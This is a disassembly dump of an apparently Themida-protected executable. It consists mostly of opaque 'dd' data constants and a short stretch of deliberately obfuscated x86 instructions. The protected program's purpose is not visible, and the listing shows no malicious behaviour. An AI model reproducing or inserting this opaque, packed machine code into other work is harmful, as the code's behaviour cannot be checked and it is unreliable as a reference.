0BE13A670h dd 8F701D55h, 3C13A677h, 0A2407B2Bh, 0D974ACC6h, 4613ECC7h dd 2385D877h, 0A67FD1A6h, 2147D13h, 7E63h, 424D8C00h, 51DD8E65h dd 67C0F21Eh, 0B4D49A17h, 42A213A6h, 0A6873EC5h, 0E3339C13h dd 0A6879166h, 7BD43D13h, 0A1B08D2Bh, 0A6875F24h, 3992FB13h dd 8E546601h, 0A6871EE1h, 839D7913h, 86A27D4Bh, 0BAEA6D4Eh dd 0AE4C9EF6h, 0B381B9D1h, 0EA85BDD7h, 0A2E27F91h, 0F22395F7h dd 0C8DD3144h, 0FD2FD43Fh, 42AB13A6h, 8AC2D8B6h, 0FD02DDEFh dd 0DAD877B4h, 0C2h, 63835CFAh, 68805D2Bh, 5628FD0Fh, 5B296179h dd 5E2C6480h, 63316981h, 0DA6E86h, 0C41B9F8Eh, 4237B047h dd 55B51E14h, 7AF76344h, 1442AC85h, 7D8FE851h, 42A82A84h dd 110ED14h, 42B1FF84h, 99F25B14h, 5A9E605h, 233917B5h dd 98B63311h, 0E613A456h, 2DCB2D7Dh, 64712D54h, 0C7503FC4h dd 67425C6Eh, 0CB243A18h, 2A462137h, 19C42CD6h, 8B11516Ah dd 3E7h, 992D4F27h, 0F68AAA83h, 56EA04E0h, 0B94D6140h dd 18ACC8A3h, 0C5A0B93Fh, 25FF15A9h, 7F5D7307h, 0E2BFD569h dd 0D38336CAh, 0AB56A156h, 59E82D13h, 0F5F7B56h, 0A04B30ADh dd 9E071442h, 13CA9E3Eh, 57699643h, 2A421F35h, 3092C596h dd 42A0CCB3h, 0D747B14h, 6FD6A963h, 89A3B51Eh, 8E5C94ACh dd 100599B1h, 1442C16Eh, 2AC8EFA0h, 33C8334Fh, 9F1442C1h dd 0B3CFAA36h, 3787E07Bh, 91A3BD99h, 0D98836B3h, 6DD613A6h dd 795608D9h, 7E5B2961h, 53D5733h, 0EB445837h, 57D04292h dd 160AF0C1h, 0DCB6D8EAh, 0AA06FD7Ah, 0BE991442h, 0D6E851A2h dd 82D2DCB3h, 0A893BB10h, 0DD78B0CEh, 0D0E4D67Dh, 6963E0BEh dd 2713A617h, 3F98AC8Bh, 18A15A07h, 17F213A6h, 19F5C3FBh dd 0D1324F8h, 0CB24E40Ah, 772FB293h, 92D2E33Bh, 0D88D75E7h dd 27434770h, 59C53A15h, 4E12D877h, 32000000h, 0BFB846C0h dd 8B9D3E1Fh, 75424DB6h, 42A003F8h, 0D66CF14h, 0A98A40BDh dd 0DF4813A6h, 0CBB02D8Fh, 8713A6A9h, 99460C1Eh, 13A6A9E6h dd 0CBA11365h, 0DFE60639h, 343E0F2h, 8EE1BA58h, 43C95B5h dd 837C5769h, 54D87729h, 0E3h, 6179567Dh, 64805B29h, 69815E2Ch dd 6E866331h, 866200DAh, 8799346Ch, 42A43C8Eh, 0FB1AF714h dd 614A645Bh, 89CF552h, 0C5FD15F2h, 0BD0DA1EEh, 1527451Fh dd 332CBA37h, 0DE7A13A6h, 8E75F201h, 4C13A60Ch, 1FFE8AE3h dd 0DF38D30Bh, 0FE12F18Fh, 0C49F2BC6h, 0C3D570A8h, 9A0D82A1h dd 0A92CCBFFh, 0F68D0A0Ch, 6413A665h, 0F949A2FBh, 65651A97h dd 88F113A6h, 98369876h, 3615A1BDh, 3D4FEA22h, 408FEC44h dd 900D6F14h, 1B890FEBh, 0FF374F2Ch, 98AA1364h, 620050B9h dd 0C1D76B87h, 9676CAE6h, 0FB623483h, 1F535BBh, 41190000h dd 9C758B1Fh, 0F6D2E87Ch, 533248DCh, 0BA95AB3Fh, 0CB310A9Eh dd 79BB792h, 65F917F1h, 0C75B714Fh, 28BCD4B1h, 0B348C575h dd 1F13AB58h, 7B564BDAh, 0D8B5CB5Fh, 4D5B2CC0h, 0F9D77542h dd 0A510ABE3h, 1442A0DEh, 6ABA137Ch, 0A6A927EDh, 548CF513h dd 0A6A9D4A7h, 22627313h, 0E5FBD977h, 0A9631895h, 86EF13A6h dd 8669974h, 0E26FD878h, 98000000h, 29617956h, 0A65D805Bh dd 60E459ADh, 142E0A96h, 98E841DCh, 0F5071BFAh, 0E72B9D2Fh dd 0B0B63684h, 0B5171022h, 8014427Dh, 5F7F58A3h, 7F5C7206h dd 7E0CF370h, 61CA1442h, 96F9D008h, 5D4BC818h, 0B13A670h dd 22E052A2h, 0E1B8DBE8h, 603A5C6Eh, 0BDCFE3C2h, 69B9F59Ah dd 73F58A07h, 16113A6h, 0A673FF84h, 99F25B13h, 0AB2CA987h dd 0F7144095h, 0C5A03E8Eh, 9D3B15A9h, 0D570A8C0h, 0B2CEA9C3h dd 3478B85Eh, 27ADED62h, 0F7h, 891D3F17h, 0E67A9A73h, 46DAF4D0h dd 0A93D5130h, 89CB893h, 0B590C92Fh, 15EF0599h, 6F4D63F7h dd 0D2AFC559h, 0C37326BAh, 0AB59B146h, 49D81D13h, 0F5F7B56h dd 6B7D9371h, 47563349h, 35BA92D5h, 25908126h, 1442C45Eh dd 0C64393FCh, 1442C431h, 47DB349Dh, 61795676h, 667E5B29h dd 0D2DCB3D2h, 4DEB0582h, 6913ABh, 0D3B04EB0h, 4DAB50BBh dd 0BE2713ABh dd 53D5532h, 0C492586Ah, 0D7FCFE7h, 6DA90196h, 8BADBF52h dd 704D9875h, 0D4F2CC58h, 70A8019Ch, 4DE7CDEh, 0DA847BE6h dd 0E95213ABh, 51CDED7h, 64E14148h, 48603D20h, 0A9C19EB4h dd 81C8E759h, 0A654888Fh, 9E3CCE94h, 7D97A9C1h, 9B528A9Eh dd 0C09D80C4h, 477F9975h, 650353ACh, 9E397187h, 77546A8Ch dd 0B0AA0758h, 72513124h, 328B265Eh, 0C1BA1D9h, 0AA000000h dd 32C3358Dh, 0D5DCB12Bh, 56572C3Eh, 56245C7Eh, 5B296179h dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah dd 74427A94h, 0EE437B9Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h dd 89502424h, 405E0h, 42D0000h, 87000000h, 895C2404h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 7E9EDF8h mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push esi add dword ptr [esp], 320126CBh pop dword ptr [eax+8] push ebp mov ebp, 320126CBh sub [eax+8], ebp pop ebp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 0E9FADDB8h, 0FFC50307h dd 0D51A89E0h, 75310540h, 1FAB834Fh, 0D36D8F1Eh, 0BF20A636h dd 40640F2Ah, 0FD74722Ah, 0AAF4BB27h, 4FCE4432h, 4DAC2972h dd 34425652h, 0F00B700Fh, 0F0BC3571h, 6F1EA67Bh, 0B39EF54Dh dd 634EB627h, 27148F3Bh, 0FAB53350h, 9BCC3E1Ch, 6F102330h dd 0F017D57Ah, 0DA4DD50Dh, 0E12FB70Eh, 29659B09h, 0D9B59F4Dh dd 81DE6864h, 6CE2932Dh, 0D6998B17h, 47EA104Ch, 8094FD26h dd 0CCE4F44Fh, 0EB8D8D64h, 6A07E9FCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 8E46C350h dd 89F938F9h, 0E41B718Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 23A0D952h dd 0BFF1D597h, 44B9339h, 9305BA60h, 10E9120Ah, 0A5000000h dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 6101716Ch, 858D8960h dd 6107E414h, 2DA185C7h, 630807E4h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6679C3h dd 81BD89D7h, 0C707E418h, 0E422B985h, 7, 75858B00h, 0FF07E421h dd 0E40A59B5h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0D55D297Dh, 40D8503h dd 95FF07E4h, 7E43061h, 518529F8h, 6A07E42Ch, 4195FF00h db 0Eh, 0E4h word_5E2176 dw 8B07h ; DATA XREF: Themida_:00583910o dd 5238EBC0h, 0E7E68EFDh, 0ED7B7841h, 937F6036h, 784DE870h dd 0CFA2ADF7h, 5026E484h, 7440AA29h, 0C318E629h, 0CDFCE8C9h dd 7DD83695h, 1FDE45BAh, 55536164h, 7AFCBFF4h, 0E97C4BD7h dd 36h, 520F32A1h, 0 dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h, 0DEh, 0 dd 0E9E90000h, 6800000Ah, 7E9FE79h, 0FA808AE9h, 0FF9B68FFh dd 80E907E9h, 68FFFA80h, 7EA0080h, 0FA8076E9h, 11368FFh dd 6CE907EAh, 68FFFA80h, 7EA01ECh, 0FA8062E9h, 2B968FFh dd 58E907EAh, 68FFFA80h, 7EA039Ch, 0FA804EE9h, 5D468FFh dd 44E907EAh, 68FFFA80h, 7EA06CCh, 0FA803AE9h, 1E4018FFh dd 7B9B748Ah, 0DBF5D1E7h, 3E523147h, 9DB994AAh, 91CA3009h dd 0F0069AB6h, 4E64F816h, 0B0C65A70h, 7427BBD3h, 5DB047C4h dd 0D91E13ABh, 6C424D4Ah, 5D8E9F1Ch, 54C413ABh, 61DF633Eh dd 76C61F2Ah, 0C825C704h, 8B9D4A0Dh, 1A320FADh, 2E512CCAh dd 18D4067Fh, 5567C021h, 0DDBB5933h, 80FD8FC7h, 13AB95FBh dd 8395EE57h, 3C748C69h, 2B8D2A65h, 0AB95C9AEh, 0B11C8513h dd 13AB95CAh, 0B5931F88h, 73CC679Fh, 68E0A623h, 45AE1442h dd 6B7A57F5h, 919309EEh, 35CC51Bh, 647C596Fh, 743A552Ch dd 8409A724h, 0EE571C75h, 48F6F69Ah, 0DD63A35Ah, 929h dd 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h, 0C054704Bh dd 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h, 7B2BDE72h dd 0AB5E79FEh, 190D513h, 29617956h, 5A337E5Bh, 2E4DE13Ah dd 80FD4D61h, 13A6B30Eh, 6C45E345h, 0B41AE14Ch, 4FB813A6h dd 0A5F55E3Dh, 7ACD1B33h, 0C9E4A7F7h, 2C6E8AE7h, 51172982h dd 0A6CFDBA4h, 275F7013h, 77AE8877h, 204DD8h, 4D760000h dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h dd 0D87807D3h, 0CE04h, 79562D00h, 805B2961h, 815E2C64h dd 86633169h, 9E00DA6Eh, 42A05A21h, 7D8FF814h, 42A30684h dd 0F13C1914h, 24C6FE12h, 62FD9ABCh, 0AA035CCFh, 0C8DEBC5Ah dd 0E295F590h, 0F5EE0596h, 0AEC4E6F8h, 0AA81B9D1h, 0FC79C9E5h dd 13A6147Ah, 2891D848h, 0A2C22E3Ah, 69DBB549h, 7E154D4Ah dd 7396A8D6h, 0C542921Ch, 14406CCAh, 31CF1F88h, 0CCA63A56h dd 55D6A85Ah, 0BB1B1071h, 5EA73C38h, 809AAC1Eh, 653589A5h dd 486234A4h, 8078208h, 19F10000h, 744D63F7h, 0CEAAC054h dd 2B0A20B4h, 926D8317h, 0E309E276h, 0DF738F6Ah, 3DD1EFC9h dd 9F334927h, 94AC89h, 5B209D4Dh, 0F713AB5Fh, 7B5623B2h dd 0D8B5CB5Fh, 0A0B74CC9h, 0BA231442h, 92FCCD61h, 0E9FB1BF4h dd 95E5C9C6h, 0A6A95218h, 0D7AF2113h, 0CACA2EABh, 0CC351426h dd 1714E794h, 0A2B313A6h, 0D855B7E2h, 13A61723h, 593446AFh dd 0D8775AA6h, 0AC2Fh, 79565800h, 805B2961h, 17F2C64h dd 141442A3h, 0D4AB2837h, 471442A4h, 9801526Ah, 0B895AB3Fh dd 0FE9168A0h, 0A4473CB9h, 0AA131442h, 82840151h, 0D013A6B0h dd 96A51767h, 7EACD97Ch, 0B2A4C5Eh, 5DDA2A84h, 14400A7Dh dd 0A0D79E10h, 0E24FCA0Ch, 3888F1D0h, 18A4BE9Ah, 3311233Bh dd 0A9EBA95h, 0A9FD19F4h, 623473FBh, 220086C6h, 0D6000007h dd 3248DCFEh, 8FA53959h, 0EF0599B3h, 5268FC10h, 0EEC75B77h dd 58744F08h, 0B6D4AEC4h, 182E0C22h, 79916E84h, 58232E5h dd 13A8A07Eh, 560897DCh, 0B5CB5F7Bh, 98B08DD8h, 0D86CC560h dd 61795607h, 667E5B29h, 7C5AF8D2h, 81932E66h, 42A0F788h dd 36781714h, 536B48E6h, 5DE66341h, 113AB5Dh, 0CFAA4898h dd 0CEE07BB3h, 15F08EF0h, 76CFEBC6h, 7791A33Eh, 0D8EE829Ah dd 0D4ABE3FBh, 26A3F3BBh, 144F5370h, 4D61B51Eh, 88623237h dd 68FC248h, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh dd 780C2401h, 0E39815C5h, 6F13A8A1h, 30929B2Ah, 42A0CCB3h dd 12EE8A14h, 738D9FF8h, 78467E96h, 0D4B839Bh, 0BB590044h dd 99B3C5DFh, 7A9671BCh, 0FE4EA742h, 0D6CBC58Ch, 91A369F7h dd 1AF7956Fh, 0EA15F002h, 0EBE05B9Fh, 7, 1729E14h, 772D0000h dd 1442A084h, 0D5258906h, 8C680173h, 7C8DB663h, 49B3716Ah dd 0E48213ABh, 0A8A4EA05h, 0D137EF71h, 1E876678h, 31FA6CCEh dd 6871E8Fh, 0BA97B1C3h, 1BF80EA2h, 81DAF4D0h, 0AD52CF31h dd 2913A8DFh, 56E8AEC0h, 19D858E4h, 384AE918h, 0E4347A15h dd 4CADB167h, 0A2F65F14h, 62323116h, 0B60D93D3h, 42000005h dd 9EB4486Ah, 0FB11A5C5h, 5B71051Fh, 0BED4687Ch, 5A33C7E3h dd 0C4E0BB94h, 22401A30h, 849A788Eh, 0E5FDDAF0h, 71EE9E51h dd 13A8A18Ah, 56740348h, 5B296179h, 0F02E667Eh, 23007F27h dd 5FA0770Bh, 78E05C11h, 7, 0BE9EA1h, 4D2D0000h, 9F1C6C42h dd 13AB5D8Eh, 6D0B5BC4h, 4E6A4590h, 8E227B16h, 4B839B78h dd 43931B74h, 42A300C6h, 1565CE14h, 4A829A77h, 0DFA54FAFh dd 8F0B173Ch, 0CB3D9F7Dh, 7B99A10Ah, 819BAD46h, 1EF88CA4h dd 2C41DBACh, 0F3057EADh, 0D6B1FCD9h, 0AF1161BAh, 91634D32h dd 40A0091Bh, 41994420h, 9B617338h, 93E3CBC4h, 758AB816h dd 4B2AC61Ch, 0B64FF37h, 48ED0BB7h, 2CB2F25Ah, 4E9h, 8115370Fh dd 0DE72926Bh, 3ED2ECC8h, 0A1354928h, 94B08Bh, 0AD88C127h dd 0DE7FD91h, 67455BEFh, 0CAA7BD51h, 0BB6B1EB2h, 0A8A2B93Eh dd 41D01513h, 0CD16F492h, 467ED7F1h, 5DC799ABh, 56000001h dd 5B39424Dh, 0FE9CEC45h, 1E53041Fh, 0CDE02554h, 0D0A72474h dd 7E14422Bh, 0C3250315h, 0FA324625h, 0F9544D5Fh, 7913ABD6h dd 0EC5EC010h, 69243653h, 463DBAB0h, 1413A80Bh, 0AFF252ABh dd 371F8CE1h, 2E0B2537h, 8F6C8216h, 27683F77h, 604F6780h dd 8664BFD7h, 449D3870h, 21FD9BEBh, 2234CF07h, 7A01C744h dd 32D01441h, 4E2D3F53h, 1AF795E5h, 7B586E02h, 43C5230h dd 46D81069h, 4EACADD4h, 29A69801h, 1B964F52h, 2C3E9700h dd 0D8288609h, 72587D5Bh, 4EA20B1Ch, 5A473B7Eh, 6CD5393h dd 0F2000004h, 4E64F81Ah, 0ABC15575h, 0B21B5CFh, 6E84182Ch dd 0AE37793h, 74906BE4h, 0D2F0CAE0h, 344A283Eh, 95AD8AA0h dd 219E4E01h, 13A8A35Ah, 5624B3F8h, 5B296179h, 3E56337Eh dd 0DA126B06h, 0AC93D39Ch, 4923B7CFh, 530AACD7h, 0FF110E6Bh dd 5B80DB24h, 62FCE0h, 0AA1C0000h, 6D29885h, 4136B3D3h dd 0D14424Bh, 64394BA4h, 1C6C424Dh, 0A6EF3B9Fh, 0A0F05913h dd 0D50D2502h, 0E84A283Ah, 4052704Ah, 9C304A26h, 1CE360C2h dd 0BA13A6F0h, 0F026DD5Ah, 4BB413A6h, 708A66F2h, 928B9D38h dd 13A6F0E8h, 0A2364E2Bh, 4696B08Ch, 78B0CEA8h, 587851DDh dd 4EFA8046h, 89000003h, 2A627856h, 17677F5Ch, 4880A079h dd 63799BADh, 68366E86h, 0C123738Bh, 42A0BF44h, 0A0B21B14h dd 77305F7Eh, 22ADA3C6h, 0D3237C9Ch, 0A6E65456h, 61B11A13h dd 0B9CBE9C3h, 0B3EF61F3h, 4ECE8AF0h, 24D7D0E2h, 6F13A6E4h dd 556B4990h, 0F129821Dh, 0D6293F4Fh, 0B97BCEBh, 9FAA0E2Fh dd 7696F8BFh, 3D17E51Dh, 2A4CE71Fh, 61B9F9ADh, 3651450h dd 225F24A1h, 92FB13A6h, 0A6225027h, 995FE13h, 2500122Eh dd 0D8779BDAh, 58FBh, 0F4922400h, 2AC5FD19h, 0E19AF518h dd 17B2EA06h, 0A0B54AC7h, 0B8211442h, 0DC920F5Fh, 9B13A6A9h dd 910E23FDh, 13A6AAEAh, 94A6FF68h, 53B645B5h, 0DE4B6C39h dd 0DFA04D85h, 6C13A62Ah, 0E9CDA81Ah, 25650016h, 26E0FB9Dh dd 7B8DE68Ch, 9F6A6DEh, 0CED877DBh, 0D4h, 617956F7h, 31805B29h dd 0D1AC3858h, 89E27DB5h, 0A4C09B39h, 0F9BFD16Ch, 0FE364E2Bh dd 0D6F4CE6Ch, 0B5CDAAC4h, 0A3AE2C21h dd 0E4C11442h, 452238CCh, 62B21D26h, 247DB3B9h, 347A15ECh dd 8E482E4h, 90C8DCBBh, 918A9CF5h, 13A63803h, 3554E851h dd 8704545Ah, 1440EFA3h, 96F848B1h, 89306219h, 7854F01Bh dd 328B265Eh, 0C9A44220h, 0DD3F19ADh, 89309B60h, 0BCCE371Bh dd 42B4C7A2h, 0A719CC9Ch, 896ED95Bh, 0A1B8904h, 3FDA1230h dd 0D82C85EEh, 62349DFEh, 0CE61E727h, 2A000001h, 869C3052h dd 0E3F98DADh, 4359ED07h, 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh dd 0A280218h, 6C826076h, 0CDE5C2D8h, 59D68639h, 13A8A5A2h dd 565CEB30h, 0B5CB5F7Bh, 5B2CC0D8h, 5F39424Dh, 5D3B0941h dd 4595EE47h, 0A6A902C8h, 0BA5FD113h, 0C77471AEh, 0FC654456h dd 186417C4h, 0D2E313A6h, 5915EA92h, 0DEC2D877h, 0EB000000h dd 29617956h, 2C64805Bh, 42A3017Fh, 0EC371414h, 0CBE5C112h dd 679FF893h, 0B12373CCh, 0E3D8387Dh, 5F8193F1h, 0D1A62385h dd 7D144244h, 0B6EE02E1h, 96B0C21Bh, 0B351A1B9h, 0B74CC9D4h dd 23144244h, 8E2961BAh, 0B0DFB67Ch, 0A331AEFEh, 0F113A64Ah dd 0BAD5F488h, 0D042A4F4h, 1EFDE390h, 6795AA0Ah, 6AC3D7B6h dd 0D6E802DEh, 402BDADDh, 0EF3FA814h, 0A5A7651h, 0E485E798h dd 5D91F105h, 4B6D7F5Eh, 0EA3E5A35h, 623516F6h, 0D67D0343h dd 22000000h, 7E94284Ah, 0DBF185A5h, 3B51E5FFh, 9EB4485Ch dd 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh, 0C5DDBAD0h dd 51CE7E31h, 13A8A6AAh, 5654E328h, 0F1CB5F7Bh, 0B7A9C07Fh dd 536581F7h, 0B0445C39h, 26E364D6h, 22829C78h, 96A8E564h dd 617956C1h, 667E5B29h, 0D2DCB3D2h, 0BA09E482h, 0F38EC6DCh dd 2DAA889Ah, 13AB5D7Fh, 0BE8CC42Dh, 1F35C9E1h, 45F22A42h dd 464E67ADh, 2502A05Eh, 2E07D50Dh, 6A3B50Eh, 0F302DF5Eh dd 8D978176h, 84E44D49h, 3C6C926Bh, 27BB14F1h, 0A8253411h dd 498DC2D3h, 85BD167Fh, 2C7955F3h, 64FF374Fh, 2638D30Bh dd 0E1192D0Ch, 2C13532Ah, 49E7374Fh, 0CD524A6Fh, 8DF3CFDFh dd 4F61FC34h, 223A172Dh, 364EAh, 8DF30000h, 5C7E563Eh dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 2F68EE43h, 89000018h dd 4D682404h, 8900003Dh, 89562434h, 4C681E6h, 83000000h dd 348704EEh, 2C895C24h, 0B9515524h, 6B1951B5h, 0AD4F181h dd 0CD8979D5h, 0D5F74D59h, 0EDC1D5F7h, 0ED814507h, 0F83B9AF5h dd 685DEE89h, 4293h, 83242489h, 5D042404h, 8BE5651h, 89000000h dd 0E9015EF1h, 0FF593189h, 835D2434h, 348B04C4h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA75B2E9h, 300156FFh dd 6B78D1AFh, 0EA07C7B8h, 0FFC50307h, 82C57CE0h, 0A6577A3Eh dd 5730573Eh, 0BC63BD0Bh, 6C58086Dh, 0E8ABFA77h, 0BCDD3A4Fh dd 4D69CE48h, 80DE3D01h, 0BAB7673Ah, 0C07F7143h, 0ABE60A15h dd 4D322552h, 0BFDA524Eh, 2299767Ah, 677CA71Ah, 2A46884Dh dd 6E63747h, 59F9877Ch, 3CD1BF16h, 277F6954h, 4E73A754h dd 0BDCB0548h, 9E837h, 96BB0000h, 6501A5C9h, 0E965AD20h dd 0Fh, 0C0B323DCh, 2AFCBA9h, 8EDED207h, 5E2FA141h, 11E9h dd 543D3D00h, 606B2F41h, 8518481Ah, 2CBCAADDh, 0C681C171h dd 5D39h, 68h, 8B665600h, 8A585FCEh, 3034FFF0h, 0DDE18166h dd 8B535B77h, 0F3815FCAh, 43BED289h, 5890Fh, 38BA0000h dd 81180D04h, 0E7596DF3h, 0F7816675h, 0F38166E0h, 6D04FB9Bh dd 89FEBF0Fh, 0EE9061Ch, 7C000000h, 86A3CB0Dh, 0D528520Fh dd 5814978Ch, 4E88348h, 0A8F0Fh, 5E90000h, 79000000h, 0D2B27F39h dd 0A374F881h, 850FFFFFh, 0FFFFFF99h, 0E9D3B70Fh, 2Fh dd 7AE9615Eh, 0Ah dup(0) dd 0E9000000h, 0C61h, 0EA0B3068h, 550BE907h, 1A68FFFBh dd 0E907EA0Ch, 0FFFB5501h, 0EA0E0868h, 54F7E907h, 0E368FFFBh dd 0E907EA0Eh, 0FFFB54EDh, 0EA11B268h, 54E3E907h, 1F68FFFBh dd 0E907EA13h, 0FFFB54D9h, 0EA148068h, 54CFE907h, 96C4FFFBh dd 0DF7A8FC2h, 252F4477h, 79DFF427h, 0C093A8DBh, 0B823578Ah dd 79AC9EB5h, 2C5FF364h, 0DE113F17h, 8FC28CC9h, 0ADDDC02Ah dd 0B223FF97h, 70F002FEh, 8DBDA0BCh, 9223FFA5h, 0D6C87185h dd 18342009h, 7CD968E7h, 0CA8E2632h, 0AAF3468Ah, 6CE27366h dd 0A396DA23h, 61699CB2h, 16F9434Fh, 23F9A2D3h, 9887CBD8h dd 23F9A164h, 4A1639CCh, 5A5E8C12h, 2A19h, 0C0E61800h dd 9C9B7EC8h, 7F23F997h, 0B3F2E72h, 7323F998h, 4474579Fh dd 4923F998h, 7DD20B3Ch, 5EAAB9F1h, 0EFBE5Ah, 0D9BD0000h dd 9B8ED27Ch, 614892B8h, 0B42859F3h, 85EF4E60h, 34CE03E5h dd 96E92D21h, 52031C4Dh, 876AB2FCh, 1C167457h, 0A2164754h dd 5008A6AFh, 8A71BB04h, 0DE76E2CAh, 0CDFE5195h, 790A596Ah dd 52031C16h, 9F9CA931h, 0BC997618h, 0CD004992h, 6DB19DB8h dd 69E6187h, 0E58E8C40h, 593C86CFh, 23F9F69Eh, 0C9D10411h dd 1961ABA7h, 86B40007h, 23549003h, 0E0B1CA0Eh, 78C2CF2Bh dd 440E4930h, 637CAD00h, 0B59DBAF0h, 75D57E71h, 3AB0E32Ch dd 984A3228h, 0FF30DEEFh, 0EBDD6DE6h, 0C2A5DD3Bh, 3C262347h dd 900000Ah, 0BFD40751h, 7489BC9Ah, 24396CE0h, 0D8ED2034h dd 689CCF7Bh, 0F159FA43h, 0A4AEA9BEh, 56FA5C71h, 7470E23h dd 22056FD4h, 23FF99F2h, 0D94243F7h, 3E86D07Ah, 0E94FE32Ch dd 0A085B8D4h, 1C162170h, 0CC2F606Dh, 7DB09EB7h, 0C8C0E602h dd 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh dd 0D3C05A5Eh, 0BF000000h, 8ED27CD9h, 0FDC7B89Bh, 0D169D3CBh dd 0B097E12Ah, 478A9A5h, 160EC615h, 400E471Ch, 0A4B0970Dh dd 0E01164A8h, 10F58EC7h, 6C2376CEh, 8DD185D4h, 5EA8F13Ah dd 2C70DE77h, 4E34A8D9h, 3E63038h, 23FA6848h, 1D044E5Bh dd 81D4183Ah, 0C3E5ED50h, 4E357DC7h, 0B1044808h, 47166B80h dd 8C992BE1h, 0CFB2FA42h, 1C17C59Fh, 455E8F9Ch, 0F4093C0Eh dd 440A4B5Fh, 1CB309FBh, 7B9FC2A6h, 9527Eh, 0F167F300h dd 0A6B0A9BEh, 56F65E73h, 0A4A0E23h, 0B991C2D7h, 0E4695286h dd 93A8DB6Fh, 465B8EC4h, 0F80D4010h, 59BEF15Dh, 9ADC0CEFh dd 2DE123FFh, 0CF7AD92Ch, 158EBCECh, 6BB4C11Ch, 1C322338h dd 3BA2C0D2h, 0EADD64A8h, 0CFED44E7h, 96C710C7h, 7CD9B833h dd 0BA9B8ED2h, 8EB60F4h, 1C158ED8h, 3B7FC8D5h, 646C9FE8h dd 19FC4642h, 23F9AD86h, 45387C89h, 0DF43E10h, 74D7084Ah dd 9FB8F65Fh, 37266AB3h, 0B77DD02Dh, 0BA2728CFh, 6B80B39Bh dd 312064EAh, 0B075CBFEh, 7BDCDA7Fh, 0F74093D7h, 0BA97C0B3h dd 75CBA7D7h, 4E97A4B0h, 0EA65000Ah, 222D729Dh, 8BBE90C5h dd 2B6FDF76h, 75CC033Ch, 3042F8B0h, 1105460Fh, 0D8114249h dd 63EB6A77h, 143A1B30h, 51347CD0h, 87B57E21h, 0D4E0111Eh dd 0A2D2B5B2h, 0A787B57Dh, 2407519Ah, 8F999CB5h, 7CAC8FD7h dd 8188917Fh, 86CC8B74h, 4811BE55h, 947BC50Eh, 0F75A8BBFh dd 87D1D9EFh, 759F85A4h, 0C926A90h, 38D882F6h, 186CB0F9h dd 0DA147406h, 9ECF4D0Eh, 0B4F35689h, 2629BC87h, 6EE87158h dd 0EA6D72Ah, 3625FB5Eh, 4C5DDh, 5DCFE100h, 0EA1AFDC6h dd 0EF87B4F6h, 14C3CEE2h, 42E46394h, 5C547A2Fh, 71E3CA12h dd 304497DBh, 619093BAh, 6C81B21Dh, 23FA7165h, 5AF66047h dd 0FB92C316h, 52ED78EEh, 7200C9FAh, 5384CA8Bh, 6E5E2147h dd 7B1E6436h, 629275BFh, 67F740E0h, 7FC7115Ah, 0B095C198h dd 0F740E080h, 4326707Dh, 0F740E113h, 60DA0B18h, 25039E7Dh dd 0AAF401FFh, 0FF4F7F62h, 3E4CF8E4h, 0E4FF2B5Bh, 0DA2330F8h dd 0BBEC66F1h, 434F6147h, 3ABE16F9h, 80C800C9h, 40D96D9Dh dd 346572F7h, 5F46909Dh, 0B4A0B8F6h, 0A1D41D70h, 9385C98Ch dd 0E77D091Fh, 64E2DF03h, 0E1000007h, 97ACDF79h, 4C6194C2h dd 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF9CCAh, 0D91A1BCFh dd 9B8ED27Ch, 0EA6093B9h, 8E8FBFA2h, 4E0A1C15h, 86FC206h dd 0BFA7CAFBh, 0AC000000h, 0ADC4CCE6h, 431C16C9h, 9F08600Ch dd 642F5DBAh, 2E000000h, 7AC4CCE6h, 498DC393h, 684BC5F6h dd 1C158F35h, 19492C3Ah, 161C158Fh, 9C95B63Eh, 63ACBD6Bh dd 72E3D61Ah, 0C194A9DCh, 0A1EA6CEDh, 5951775Dh, 2430280Fh dd 0E25C8DE0h, 0BA1B39Ah, 70C3074Dh, 2E1F627h, 5D23F9C3h dd 6BFE0C50h, 0A9D088E4h, 967D5A5Eh, 0C26293C3h, 7, 117CFC1h dd 0E6D40000h, 9B7EC8C0h, 23F9AEA4h, 40887A87h, 44BAC434h dd 6892320h, 9EBC0000h, 0E77287BAh, 2D273C6Fh, 81D7EC1Fh dd 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch, 0D609470Fh dd 87BA94C1h, 0A5D5B822h, 0AA23FF9Ch, 0CCE6F5F6h, 65C9ADC4h dd 313D12EBh, 5DBAA379h, 7EFEh, 0CCE6FD00h, 4C687AC4h dd 0A1574271h, 165FEB68h, 54BA9EE5h, 1E4A05DEh, 5DBA2D4Eh dd 5EEDh, 